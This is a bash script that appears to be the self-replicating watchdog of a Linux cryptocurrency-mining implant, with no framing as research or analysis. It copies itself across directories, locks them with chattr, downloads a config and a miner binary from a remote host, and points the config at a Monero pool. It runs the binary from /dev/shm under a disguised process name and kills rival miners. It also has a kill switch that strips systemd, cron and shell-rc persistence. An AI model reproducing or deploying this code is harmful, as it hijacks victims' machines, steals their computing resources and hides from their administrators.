#!/usr/bin/env bash
MYDIR="$(cd "$(dirname "$0")" 2>/dev/null && pwd)"
i=0;while [ ! -f "$MYDIR/.e" ]&&[ $i -lt 8 ];do sleep 2;i=$((i+1));done
. "$MYDIR/.e" 2>/dev/null
MB="$(basename "$0")"
ROLE="${MB##*_}"
r(){ local o;o=$(tr -dc 'a-z0-9'</dev/urandom 2>/dev/null|head -c "$1");[ ${#o} -lt "$1" ]&&o=$(printf '%s%s' "$o" "$(date +%s%N 2>/dev/null|sha256sum 2>/dev/null|tr -dc 'a-z0-9')"|head -c "$1");[ -z "$o" ]&&o="${RANDOM}${RANDOM}x$1";printf '%s' "$o"|head -c "$1"; }
h(){ printf '%s' "$1"|sha256sum 2>/dev/null|cut -d' ' -f1; }
hc(){ command -v chattr >/dev/null 2>&1&&[ "$(id -u)" = 0 ]; }
sh(){ hc&&chattr -R +i "$1" 2>/dev/null; }
us(){ hc&&chattr -R -i "$1" 2>/dev/null; }
nx(){ b="${1%%_*}";i=0;for nb in $NAMES;do i=$((i+1));[ "$nb" = "$b" ]&&break;done;t=$(echo $NAMES|cut -d' ' -f$(((i%15)+1)));echo "${t}_x$(r 4)"; }
fnd(){ find "$MYDIR" -maxdepth 1 -type f ! -name '.*' ! -name 'd[123]_*' 2>/dev/null|while read f;do b="$(basename "$f")";case "$b" in *_x?|*_x??|*_x???|*_x????|*_x?????|*_x??????) echo "$f";break;; esac;done; }
rep(){ for e in $ROLES;do d="${e%%:*}";n="${e##*:}";if [ "$d" = "$MYDIR" ]&&[ "$n" = "$MB" ];then continue;fi;if [ ! -f "$d/$n" ]&&[ -f "$MYDIR/$MB" ];then us "$d";mkdir -p "$d" 2>/dev/null;cp "$MYDIR/$MB" "$d/$n" 2>/dev/null;[ -f "$MYDIR/.e" ]&&[ ! -f "$d/.e" ]&&cp "$MYDIR/.e" "$d/.e" 2>/dev/null;chmod +x "$d/$n" 2>/dev/null;fi;if [ -f "$d/$n" ];then pgrep -f "$d/$n">/dev/null 2>&1||nohup "$d/$n" >/dev/null 2>&1 & fi;done; }
rxm(){ TOT_KB=$(awk '/MemTotal/{print $2}' /proc/meminfo 2>/dev/null||echo 0);if [ "${TOT_KB:-0}" -lt 3000000 ];then echo "light";else echo "auto";fi; }
dlc(){ if command -v curl >/dev/null 2>&1;then curl -sSL --connect-timeout 20 --max-time 60 "$RAW/config.json" 2>/dev/null;elif command -v wget >/dev/null 2>&1;then wget -q --timeout=60 -O- "$RAW/config.json" 2>/dev/null;fi; }
mkcfg(){ T="$(dlc)";case "$T" in \{*WORKERNAME*\}*) :;; *) return 1;; esac;echo "$T"|sed "s/WORKERNAME/$PW/;s/\"mode\": \"auto\"/\"mode\": \"$(rxm)\"/;s|xmr-eu1.nanopool.org:14433|$POOL|">"$MYDIR/.c" 2>/dev/null;chmod 600 "$MYDIR/.c" 2>/dev/null; }
bld(){ mkdir -p "$MYDIR" 2>/dev/null;[ -f "$MYDIR/.c" ]&&return 0;mkcfg; }
cfgchk(){ grep -q "$POOL" "$MYDIR/.c" 2>/dev/null&&grep -q "\"$PW\"" "$MYDIR/.c" 2>/dev/null&&grep -q "\"mode\": \"$(rxm)\"" "$MYDIR/.c" 2>/dev/null&&return 0;[ -f "$MYDIR/.c" ]||mkcfg; }
die(){ kc="";e="";d="";rc="";[ -z "$TKH" ]&&{ rm -f "$MYDIR/.die" 2>/dev/null;return; };kc=$(cat "$MYDIR/.die" 2>/dev/null);[ "$(h "$kc")" != "$TKH" ]&&{ rm -f "$MYDIR/.die" 2>/dev/null;return; };for e in $ROLES;do d="${e%%:*}";us "$d";printf '%s' "$kc">"$d/.die" 2>/dev/null;done;ps aux 2>/dev/null|awk '$11~/_(w[0-9]|x[a-z0-9]{4})$/||$11~/^\.k_[a-z0-9]{6}$/{print $2}'|xargs -r kill -9 2>/dev/null;pgrep -f '/dev/shm/\.k_' 2>/dev/null|xargs -r kill -9 2>/dev/null;sleep 2;if [ -n "$SV" ];then systemctl --user stop "$SV" 2>/dev/null;systemctl --user disable "$SV" 2>/dev/null;systemctl stop "$SV" 2>/dev/null;systemctl disable "$SV" 2>/dev/null;rm -f "$HOME/.config/systemd/user/${SV}.service" "/etc/systemd/system/${SV}.service" 2>/dev/null;systemctl --user daemon-reload 2>/dev/null;systemctl daemon-reload 2>/dev/null;fi;if [ -n "$TG" ];then crontab -l 2>/dev/null|grep -v "$TG"|crontab - 2>/dev/null;rm -f "/etc/cron.d/.s_${TG}" "/etc/profile.d/.s_${TG}.sh" 2>/dev/null;for rc in "$HOME/.bashrc" "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.zshrc" "$HOME/.zprofile";do [ -f "$rc" ]&&grep -q "$TG" "$rc" 2>/dev/null&&{ grep -v "$TG" "$rc">"${rc}.t"&&mv "${rc}.t" "$rc" 2>/dev/null; };done;fi;for e in $ROLES;do d="${e%%:*}";us "$d";rm -rf "$d" 2>/dev/null;done;rm -f "$ST" 2>/dev/null;exit 0; }
cnt=0
idle=0
while :;do
[ -f "$MYDIR/.die" ]&&die
rep
if [ "$ROLE" = "w1" ]&&[ -n "$DS" ]&&[ -f "$DS" ];then rm -f "$DS" 2>/dev/null;DS="";fi
if [ "$ROLE" = "w1" ];then
sleep $((RANDOM%3))
if ! pgrep -f '_x[a-z0-9]'>/dev/null 2>&1;then
bld
cfgchk
bin=$(fnd)
if [ -z "$bin" ];then
for i in 1 2 3 4 5;do rm -f "$MYDIR/.t" 2>/dev/null;curl -sSL --connect-timeout 20 --max-time 90 -o "$MYDIR/.t" "$RAW/$SRC" 2>/dev/null;[ -s "$MYDIR/.t" ]&&[ "$(wc -c <"$MYDIR/.t" 2>/dev/null)" -gt 1000000 ]&&break;wget -q --timeout=60 -O "$MYDIR/.t" "$RAW/$SRC" 2>/dev/null;[ -s "$MYDIR/.t" ]&&[ "$(wc -c <"$MYDIR/.t" 2>/dev/null)" -gt 1000000 ]&&break;sleep 2;done
[ -f "$MYDIR/.t" ]&&{ nb="jon_x$(r 4)";mv "$MYDIR/.t" "$MYDIR/$nb" 2>/dev/null;chmod +x "$MYDIR/$nb" 2>/dev/null; }
bin=$(fnd)
fi
if [ -n "$bin" ]&&[ -f "$MYDIR/.c" ];then
us "$MYDIR"
pgrep -f '_x[a-z0-9]' 2>/dev/null|xargs -r kill -9 2>/dev/null
sleep 1
RB="/dev/shm/.k_$(r 6)"
cp "$bin" "$RB" 2>/dev/null&&chmod +x "$RB" 2>/dev/null||RB="$bin"
cd "$MYDIR"
FN="$(basename "$bin")"
CFGP="$MYDIR/.c"
[ "$(wc -c <"$MYDIR/.log" 2>/dev/null||echo 0)" -gt 524288 ]&&tail -c 131072 "$MYDIR/.log">"$MYDIR/.log.t" 2>/dev/null&&mv "$MYDIR/.log.t" "$MYDIR/.log" 2>/dev/null
bash -c 'exec -a "'"$FN"'" "$0" -c "'"$CFGP"'"' "$RB" >>"$MYDIR/.log" 2>&1
ec=$?
rm -f "$RB" 2>/dev/null
if [ $ec -ne 0 ]&&[ ! -s "$MYDIR/.log" ];then echo "exit=$ec $(date +%s)">>"$MYDIR/.log";fi
nb=$(nx "$(basename "$bin")")
[ -f "$bin" ]&&mv "$bin" "$MYDIR/$nb" 2>/dev/null
sh "$MYDIR"
sleep 1
else
idle=$((idle+1))
if [ $idle -ge 18 ];then
pgrep -f '_x[a-z0-9]' 2>/dev/null|xargs -r kill -9 2>/dev/null
rm -f "$MYDIR/.c" 2>/dev/null
idle=0
fi
sleep 5
fi
else
sleep 5
fi
else
if pgrep -f '_w1'>/dev/null 2>&1;then cnt=0;else cnt=$((cnt+1));fi
if [ $cnt -ge 3 ];then
us "$MYDIR"
[ -f "$MYDIR/$MB" ]&&{ cp "$MYDIR/$MB" "$MYDIR/${MB%_*}_w1" 2>/dev/null;chmod +x "$MYDIR/${MB%_*}_w1" 2>/dev/null; }
[ -f "$MYDIR/${MB%_*}_w1" ]&&exec "$MYDIR/${MB%_*}_w1"
fi
sleep 5
fi
done
